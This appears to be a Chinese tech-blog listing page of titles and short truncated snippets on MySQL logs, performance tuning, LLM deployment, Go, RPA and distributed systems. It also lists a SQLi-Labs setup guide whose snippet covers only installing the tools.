MySQL中的binlog日志

一、什么是binlog&#xff1f;binlog&#xff08;二进制日志&#xff09;是MySQL用来记录所有数据变更操作的文件。就像一个"监控录像"&#xff0c;MySQL把每一个INSERT、UPDATE、DELETE操作都记录下来。二、为什么需要binlog&#xff1f;想象一个场景&#xff1a;你…

UPDATE语句的完整执行过程

以UPDATE test SET a1 WHERE id2为例&#xff0c;完整讲解执行流程。一、核心概念速记在开始之前&#xff0c;你需要记住三个日志文件的作用&#xff1a;undo log&#xff1a;用于事务回滚&#xff0c;记录数据修改前的旧值redo log&#xff1a;用于崩溃恢复&#xff0c;记录数…

一个基于 Node.js 和 FFmpeg 的视频合并 CLI 工具,支持为视频添加片头、片尾,以及批量处理多个视频文件。

Video Merger CLI (vvm) 一个基于 Node.js 和 FFmpeg 的视频合并 CLI 工具&#xff0c;支持为视频添加片头、片尾&#xff0c;以及批量处理多个视频文件。 功能特性 ✅ 视频合并&#xff1a;将两个视频合并为一个&#xff08;支持开头或结尾位置&#xff09;✅ 批量处理&#…

[特殊字符]_网络IO性能优化:从TCP到HTTP的层层优化[20260107164433]

作为一名专注于网络性能优化的工程师&#xff0c;我在过去的项目中积累了丰富的网络IO优化经验。最近&#xff0c;我参与了一个对网络性能要求极高的项目——实时视频流平台。这个项目让我重新审视了Web框架在网络IO方面的表现。今天我要分享的是基于真实项目经验的网络IO性能优…

AI改图工具实操,冬装白底图快速生成高点击场景图

冬季服饰上新视觉太费劲儿&#xff01;外景拍摄又冷又贵还等档期&#xff0c;PS 抠图易虚边、光影违和显廉价。用AI指令改图&#xff0c;上传白底模特图&#xff0c;输指令就能换场景姿势&#xff0c;服饰细节1:1还原&#xff0c;十几秒出图可批量&#xff0c;商用无忧&#xf…

电影解说从0到1,要准备哪些工具?一套能跑通的实战清单

电影解说&#xff0c;本质上不是创意竞赛&#xff0c;而是一套高度标准化的内容生产流程。 你做不出来第一条&#xff0c;大多数时候不是能力问题&#xff0c;而是工具选错、流程没搭好。这篇内容不讲空泛的方法论&#xff0c;而是按一条已经被大量账号验证过的电影解说流水线&…

⚡_延迟优化实战:从毫秒到微秒的性能突破[20260107164942]

作为一名专注于系统性能优化的工程师&#xff0c;我在过去十年中一直致力于降低Web应用的延迟。最近&#xff0c;我参与了一个对延迟要求极其严格的项目——金融交易系统。这个系统要求99.9%的请求延迟必须低于10ms&#xff0c;这个要求让我重新审视了Web框架在延迟优化方面的潜…

SQLi-Labs搭建及通关

**在 Windows 电脑上安装 sqlmap 并搭建 SQLi-Labs&#xff0c;需要先配置Python 环境&#xff08;支撑 sqlmap&#xff09;和XAMPP 环境&#xff08;集成 ApacheMySQLPHP&#xff0c;支撑 SQLi-Labs&#xff09;。 一、工具下载&#xff1a; 1、Python&#xff08;sqlmap 依赖…

[特殊字符]_可扩展性架构设计:从单体到微服务的性能演进[20260107163924]

作为一名经历过多次系统架构演进的老兵&#xff0c;我深知可扩展性对Web应用的重要性。从单体架构到微服务&#xff0c;我见证了无数系统在扩展性上的成败。今天我要分享的是基于真实项目经验的Web框架可扩展性设计实战。 &#x1f4a1; 可扩展性的核心挑战 在系统架构演进过…

[特殊字符]_压力测试与性能调优的完整指南[20260107165451]

作为一名经历过无数次压力测试的工程师&#xff0c;我深知压力测试在性能调优中的重要性。压力测试不仅是验证系统性能的必要手段&#xff0c;更是发现性能瓶颈和优化方向的关键工具。今天我要分享的是基于真实项目经验的压力测试与性能调优完整指南。 &#x1f4a1; 压力测试…

一文讲清:主流大模型推理部署框架:vLLM、SGLang、TensorRT-LLM、ollama、XInference

本文系统性梳理当前主流的大模型推理部署框架&#xff0c;包括vLLM、SGLang、TensorRT-LLM、Ollama、XInference等。 随着大语言模型技术的迅猛演进&#xff0c;推理部署框架作为贯通模型能力与落地应用的核心枢纽&#xff0c;其战略价值正持续攀升。本文旨在对当前业界广泛采…

豆包本地文件问答下线后的打开方法

豆包本地文件问答下线后的打开方法关键词&#xff1a;豆包本地文件问答、豆包离线问答、本地知识库、doubao 本地模型、RTX AI PC、本地 AI 问答一次“功能下线”带来的意外发现前段时间在整理本地资料的时候&#xff0c;我发现豆包的「本地文件问答」功能页面多了一个提示&…

【光子AI 2026 企业级 Agent 架构指南】别再把 Skill 当 Tool:Agent Skills × MCP 企业级落地全指南(最新定义澄清 + 场景大全 + 选型决策树+安全工程清单)

文章目录 拒绝“手搓”Agent:2026企业级架构指南——彻底搞懂 Agent Skills 与 MCP 的边界与选型 🚀 引言:AI 开发的“草莽时代”结束了 第一部分:正本清源——最新官方定义解读 1. Agent Skills:让 Agent 变“专家”的文件夹 2. MCP:AI 应用的“USB-C 接口” 第二部分:…

格雷希尔:G15F-KFYK-FD39 定制款快速密封连接器,适配自动化产线,赋能电驱动通讯接口的自动化密封测试

某新能源设备商联系到我们&#xff0c;为其电驱动上的通讯接口采购一批快速密封连接器用于气密性测试&#xff0c;该生产线为自动化产线&#xff0c;对连接器的适配性、稳走性、耐用性均提出了极高要求。格雷希尔定制款 G15F-KFYK-FD39 自动化连接器格雷希尔定制款 G15F-KFYK-F…

如何判断光耦 PC817 的好坏

判断光耦 PC817 的好坏对于开关电源电路板的维修非常重要&#xff1a;1. 光耦的功能隔离信号&#xff1a;PC817 可以有效隔离高压输入和低压控制电路&#xff0c;保护电路元件和人员安全。信号传输&#xff1a;光耦用于实现数据的可靠传输&#xff0c;特别是在噪声较大的环境中…

Go 语言的“舒适区”:为何在这张“鄙视链”金字塔中,Go 仅次于 C?

大家好&#xff0c;我是Tony Bai。最近&#xff0c;一张“编程语言分级图”在技术社区引发大家热议。它没有参考 TIOBE 排名&#xff0c;也不看 GitHub Star 数&#xff0c;而是完全基于一种简单粗暴的价值观&#xff1a;谁最不折腾人&#xff1f;在这张金字塔中&#xff0c;C …

大模型AI学习路线:从提示词工程到模型部署的全栈教程,90天变身高薪工程师

文章提供四阶段大模型学习路径&#xff1a;初阶应用(10天)掌握提示词工程&#xff0c;高阶应用(30天)学习RAG系统&#xff0c;模型训练(30天)实现微调&#xff0c;商业闭环(20天)完成部署。涵盖大模型基础知识、智能体开发、私有化部署等核心技能&#xff0c;提供实战项目和工具…

什么是企业机器人流程自动化RPA

企业RPA (Robotic Process Automation) 中文名&#xff1a;机器人流程自动化 本质&#xff1a;一种模拟人在计算机上执行规则明确、重复性高工作的软件“数字员工”。---一、核心功能&#xff08;它能做什么&#xff1f;&#xff09;它像一位不知疲倦、零错误的白领机器人&…

【分布式系统】02 现实世界的法则 —— 分布式系统的定义、模型与核心挑战

大家好&#xff0c;我是Tony Bai。欢迎来到《分布式系统&#xff1a;原理、哲学与实战》微专栏的第二讲。在上一讲中&#xff0c;我们告别了秩序井然的单体城堡&#xff0c;决定踏入广阔的分布式联邦。但在正式探索之前&#xff0c;我们必须回答一个根本问题&#xff1a;我们所…

分区操作系统、容器化、虚拟机的概念

分区操作系统&#xff08;通常指分时操作系统&#xff09;与 Docker 是完全不同层面的技术&#xff0c;分别解决不同的问题。简单来说&#xff1a; 分区操作系统&#xff1a;是一种操作系统类型&#xff0c;管理单个硬件上的多个用户/任务。Docker&#xff1a;是一个应用容器…